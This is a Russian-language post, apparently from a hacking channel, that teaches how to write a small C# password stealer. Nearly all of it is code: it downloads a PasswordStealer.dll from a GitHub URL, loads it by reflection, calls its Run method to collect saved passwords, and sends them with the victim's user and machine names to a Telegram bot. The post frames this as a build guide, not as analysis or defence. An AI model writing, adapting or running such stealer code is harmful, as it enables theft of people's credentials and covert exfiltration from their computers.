January 26, 2021
Динамическая загрузка DLL (пишем стиллер в 9кб)
Источник: t.me/Bureau121
Будем юзать пространство имен System.Reflections
Рефлексия представляет собой процесс выявления типов во время выполнения приложения. Каждое приложение содержит набор используемых классов, интерфейсов, а также их методов, свойств и прочих кирпичиков, из которых складывается приложение. И рефлексия как раз и позволяет определить все эти составные элементы приложения бла-бла-бля
public static byte[] GetLibrary() { byte[] dll = new byte[0]; string url = "https://raw.githubusercontent.com/L1ghtM4n/DynamicStealer/main/DLL/PasswordStealer.dll"; using (var client = new WebClient()) { try { dll = client.DownloadData(url); } catch (WebException) { Environment.Exit(1); } } return dll; }
Теперь напишем функцию GetPasswords которая
- принимает байты дллки
- загружает её
- вызывает функцию оттуда
- и возвращает пароли нам
public static string GetPasswords(byte[] dll) { // Загрузить дллку Assembly asm = Assembly.Load(dll); // Создать экземпляр dynamic instance = Activator.CreateInstance( asm.GetType("PasswordStealer.Stealer")); // Получить функцию восстановления паролей из дллки MethodInfo runMethod = instance.GetType().GetMethod("Run", BindingFlags.Instance | BindingFlags.Public); // Вызов метода восстановления паролей string passwords = (string)runMethod.Invoke( instance, new object[] { }); // Возвращаем пассы return passwords; }
Функция UploadReport будет отправлять пароли в телегу
C#:
public static bool UploadReport(string passwords) { string report = quot;*New report*\n" + quot;*UserName:* {Environment.UserName}\n" + quot;*CompName:* {Environment.MachineName}\n\n" + quot;*Passwords:* \n{passwords}"; string telegram_api = "https://api.telegram.org/bot"; using (var client = new WebClient()) { try { string response = client.DownloadString( telegram_api + "<TOKEN>" + "/sendMessage?chat_id=<CHAT_ID>"+ "&text=" + report + "&disable_web_page_preview=True" + "&parse_mode=Markdown" ); return response.Contains("\"ok\":true,"); } catch (WebException) { return false; } } }
И главная функция
C#:
static void Main() { // Это надо для правильной отправки ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12 | SecurityProtocolType.Ssl3; byte[] dll = GetLibrary(); // Скачать байты dll string pwd = GetPasswords(dll); // Вызов методов dll и возврат паролей UploadReport(pwd); // Отправляем пароли боту Telegram }